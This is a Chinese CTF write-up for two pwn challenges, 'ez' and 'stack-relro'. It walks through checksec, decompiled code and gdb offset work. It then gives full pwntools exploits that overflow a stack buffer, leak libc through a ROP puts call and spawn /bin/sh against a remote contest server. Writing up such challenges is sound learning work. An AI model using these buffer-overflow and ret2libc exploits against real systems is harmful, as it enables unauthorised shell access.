比赛结束了…垃圾的我拿了第六 菜归菜 但是也要继续学习orz
感谢每一位西电的学长
PWN1 EZ
检查保护
ios@ubuntu:~$ checksec ez
[*] '/home/ios/ez'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
保护全关 64位elf
我们IDA分析下
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+Ch] [rbp-4h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("Guess what I think!");
puts("233 or 666");
__isoc99_scanf("%d", &v4);
if ( v4 == 233 )
sub_400726();
if ( v4 == 666 )
sub_400737();
if ( v4 == 5438 )
sub_400748(5438LL);
return 0LL;
}
main函数中 读完代码你可以发现 puts(“233 or 666”);这里让你输入233或者666 对应内容也可以去跟进函数查看到,这里传入v4=5438时会跳转到sub_400748该函数 我们跟进分析下
int __fastcall sub_400748(int a1)
{
int result; // eax
char buf; // [rsp+10h] [rbp-20h]
puts("You find my secret!");
puts("So,Tell me your name!");
read(0, &buf, 0x50uLL);
result = printf("I have remembered you, %s", &buf);
if ( a1 == 233 )
result = system("/bin/sh");
return result;
}
漏洞很明显在read函数处 32位下的话应该是有两解变量覆盖及rop 具体可以参考iscc的WP ISCC-login (ORZ)所以此题利用方式类似 就不在赘述了 (大晚上写wp有点累 偷个懒0.0)
exp
from pwn import *
#p = process('ez')本地测试...
#p = remote('192.168.3.222',10001)内网线下
p = remote('118.25.227.117',10001)#外网目前可用
p.recv()
p.sendline('5438')
p.recv()
payload = 'A'*32+'b'*8+p64(0x4007A1)
p.sendline(payload)
p.interactive()
尝试运行
PWN2 stack-relro
感谢因幡师傅 感谢去去去师傅~
顺便推一下如果你也喜欢CTF真的很推荐来西电 学长们很友好也很愿意耐心解答问题
那我们继续看题
检查保护
ios@ubuntu:~$ checksec relro
[*] '/home/ios/relro'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
开启 RELRO NX
RELRO分为Full RELRO和Partial RELRO
开启FULL_RELRO后,GOT表只能读 限制了修改got表
我们载入ida分析下
_int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
const char *v3; // rdi
char **v5; // [rsp+0h] [rbp-20h]
int v6; // [rsp+18h] [rbp-8h]
int v7; // [rsp+1Ch] [rbp-4h]
v5 = a2;
v7 = 0;
sub_4009D6(a1, a2, a3);
v3 = "Welcome to easy message system.";
puts("Welcome to easy message system.");
while ( !v7 )
{
sub_400A7F(v3);
printf("Your choose: ", v5);
v3 = "%d";
__isoc99_scanf("%d", &v6);
switch ( v6 )
{
case 2:
sub_400B70();
break;
case 3:
v3 = "Exit";
puts("Exit");
v7 = 1;
break;
case 1:
sub_400AC2("%d", &v6);
break;
default:
v3 = "invalid choose";
puts("invalid choose");
break;
}
}
if ( dest )
{
free(dest);
dest = 0LL;
}
return 0LL;
}
这里的高难度做法等回去继续学习0.0今晚用基本的来解题
找到存在漏洞函数 case 1: sub_400AC2();
int sub_400AC2()
{
int result; // eax
char *v1; // rax
char src; // [rsp+0h] [rbp-40h]
memset(dest, 0, 0x100uLL);
puts("Input your message:");
if ( (unsigned int)sub_400BE1(&src, 256LL) == -1 )
{
memset(dest, 0, 0x100uLL);
v1 = dest;
*(_QWORD *)dest = 7008762548701852247LL;
*((_WORD *)v1 + 4) = 24948;
result = puts("Error: read message failde.");
}
else
{
strncpy(dest, &src, 0xFFuLL);
result = puts("save message success.");
}
return result;
}
我们先看下sub_400BE1()
signed __int64 __fastcall sub_400BE1(__int64 a1, signed int a2)
{
char buf; // [rsp+17h] [rbp-9h]
int v4; // [rsp+18h] [rbp-8h]
unsigned int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; (signed int)i < a2; ++i )
{
v4 = read(0, &buf, 1uLL);
if ( v4 < 0 )
return 0xFFFFFFFFLL;
if ( !v4 || i == a2 - 1 || buf == 10 )
{
*(_BYTE *)((signed int)i + a1) = 0;
return i;
}
*(_BYTE *)(a1 + (signed int)i) = buf;
}
return i;
}
使用了read函数将buf逐个字节读入栈中
然后return回sub_400AC2()
strncpy(dest, &src, 0xFFuLL);
看到如果读入输入成功就执行strncpy()函数将栈中刚输入的字符串复制到堆中 由于char src大小固定所以这里会造成栈溢出
那我们可以来算一下偏移
在strncpy()函数处下断
gdb-peda$ file relro
Reading symbols from relro...(no debugging symbols found)...done.
gdb-peda$ b* 0x400B1B
Breakpoint 1 at 0x400b1b
gdb-peda$ r
Starting program: /home/ios/relro
Welcome to easy message system.
--------------------
1. save message
2. show message
3. exit
--------------------
Your choose: 1
Input your message:
AAAA
得到当前寄存器的值
[----------------------------------registers-----------------------------------]
RAX: 0x603010 --> 0x0
RBX: 0x0
RCX: 0x7fffffffde30 --> 0x41414141 ('AAAA')
RDX: 0xff
RSI: 0x7fffffffde30 --> 0x41414141 ('AAAA')
RDI: 0x603010 --> 0x0
RBP: 0x7fffffffde70 --> 0x7fffffffdea0 --> 0x400c70 (push r15)
RSP: 0x7fffffffde30 --> 0x41414141 ('AAAA')
RIP: 0x400b1b (call 0x400770 <strncpy@plt>)
R8 : 0x7ffff7fda700 (0x00007ffff7fda700)
R9 : 0x0
R10: 0x0
R11: 0x246
R12: 0x400810 (xor ebp,ebp)
R13: 0x7fffffffdf80 --> 0x1
R14: 0x0
R15: 0x0
然后计算当前src地址
ida可以看到
char src; // [rsp+0h] [rbp-40h]
所以当前rsp就是src地址
那我们计算当前src距rbp的偏移
Breakpoint 1, 0x0000000000400b1b in ?? ()
gdb-peda$ p/d 0x7fffffffde70-0x7fffffffde30
$1 = 64
因为rbp距离ret的偏移为0x8
所以我们可以得到偏移为72
gdb-peda$ p/d 0x7fffffffde70-0x7fffffffde30 +0x8
$2 = 72
leak memory
关于leak memory 我在博客其他文章都有写到可以去参考
既然可以可以溢出覆盖到ret 那我们基本rop leak即可
同样注意 64位下 参数 从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9。从第7个参数开始,接下来的所有参数都将通过栈传递
利用ROPgadget搜索可用gadget
ios@ubuntu:~$ ROPgadget --binary relro --only "pop|ret"
Gadgets information
============================================================
0x0000000000400ccc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400cce : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400cd0 : pop r14 ; pop r15 ; ret
0x0000000000400cd2 : pop r15 ; ret
0x0000000000400ccb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400ccf : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004008d9 : pop rbp ; ret
0x0000000000400cd3 : pop rdi ; ret
0x0000000000400cd1 : pop rsi ; pop r15 ; ret
0x0000000000400ccd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400746 : ret
0x000000000040028e : ret 0x8f7b
0x0000000000400c56 : ret 0xb60f
Unique gadgets found: 13
那我们这里用rdi
leak
elf = ELF('relro')
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
start_main = 0x400810
rdi = 0x400cd3 #pop rdi ; ret
payload = 'A'*72+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(start_main)
p.sendline(payload)
log.info(p.recvuntil("save message success.\n"))
data = p.recvuntil('\n', drop=True)
puts = u64(data.ljust(8,'\x00'))
print hex(puts)
payload = 先覆盖到ret +覆盖ret位pop_rdi_ret(给puts()赋值 ) +准备泄露的puts_addr+puts_plt(调用puts()函数 )+返回程序开头 start_main
思路
因为我们重新返回到程序头所以会重新执行到main 既然我们leak出了puts函数地址所以我们可以根据提供的libc计算system_addr以及/bin/sh_addr 接着再次rop将/bin/sh参数放入rdi寄存器 然后执行system()调用
exp
puts = u64(data.ljust(8,'\x00'))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
system_addr = puts-libc.symbols['puts']+libc.symbols['system']
binsh = next(libc.search('/bin/sh'))
binsh_addr = puts-libc.symbols['puts']+binsh
payload1 = 'A'*72+p64(rdi)+p64(binsh_addr)+p64(system_addr)
p.sendline(payload1)
完整EXP
from pwn import *
#p = process('./relro')
p = remote('118.25.227.117',10000)
context.log_level = 'debug'
elf = ELF('relro')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
log.info(p.recvuntil("Your choose: "))
p.sendline('1')
log.info(p.recvuntil("Input your message:"))
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
start_main = 0x400810
fake =0x400A2C
rdi = 0x400cd3 #pop rdi ; ret
payload = 'A'*72+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(start_main)
p.sendline(payload)
log.info(p.recvuntil("save message success.\n"))
data = p.recvuntil('\n', drop=True)
puts = u64(data.ljust(8,'\x00'))
print hex(puts)
system_addr = puts-libc.symbols['puts']+libc.symbols['system']
print hex(system_addr)
log.info(p.recvuntil("Your choose: "))
p.sendline('1')
log.info(p.recvuntil("Input your message:"))
binsh = next(libc.search('/bin/sh'))
binsh_addr = puts-libc.symbols['puts']+binsh
payload1 = 'A'*72+p64(rdi)+p64(binsh_addr)+p64(system_addr)
p.sendline(payload1)
p.interactive()
尝试运行